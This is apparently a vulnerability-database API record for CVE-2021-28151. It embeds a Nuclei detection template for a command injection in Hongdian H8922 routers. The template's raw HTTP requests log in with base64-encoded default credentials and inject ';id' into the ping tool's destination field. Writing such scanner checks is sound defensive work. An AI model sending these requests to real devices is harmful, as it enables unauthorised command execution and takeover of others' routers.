{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-28151/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-28151/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-28151/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-28151/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-28151/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-28151"},"sightings":{"href":"/api/v1/sightings/cve-2021-28151"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-28151.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2021-28151\n\ninfo:\n  name: Hongdian H8922 3.0.5 - Remote Command Injection\n  author: gy741\n  severity: high\n  description: |\n    Hongdian H8922 3.0.5 devices are susceptible to remote command injection via shell metacharacters into the ip-address (a/k/a Destination) field to the tools.cgi ping command, which is accessible with the username guest and password guest. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system.\n  impact: |\n    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.\n  remediation: |\n    Apply the latest security patch or update to a non-vulnerable version of the Hongdian H8922 firmware.\n  reference:\n    - https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/\n    - http://en.hongdian.com/Products/Details/H8922\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-28151\n    - https://github.com/ARPSyndicate/kenzer-templates\n    - https://github.com/ArrestX/--POC\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2021-28151\n    cwe-id: CWE-78\n    epss-score: 0.27912\n    epss-percentile: 0.98015\n    cpe: cpe:2.3:o:hongdian:h8922_firmware:3.0.5:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: hongdian\n    product: h8922_firmware\n  tags: cve2021,cve,hongdian,rce,injection,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /tools.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=\n        Origin: {{BaseURL}}\n        Referer: {{BaseURL}}/tools.cgi\n\n        op_type=ping&destination=%3Bid\n      - |\n        POST /tools.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic YWRtaW46YWRtaW4=\n        Origin: {{BaseURL}}\n        Referer: {{BaseURL}}/tools.cgi\n\n        op_type=ping&destination=%3Bid\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n          - \"application/x-www-form-urlencoded\"\n        condition: or\n\n      - type: regex\n        regex:\n          - 'uid=\\d+\\(([^)]+)\\) gid=\\d+\\(([^)]+)\\)'\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100a9081f24e15f88981d670e054eefa0982cf9e0a01cf7842d79e05ccdb8e61bef022100c3608b07efd7d2f9c229639da2225b5ee294d79c2e495085747e0844b1861a1c:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2021-28151"}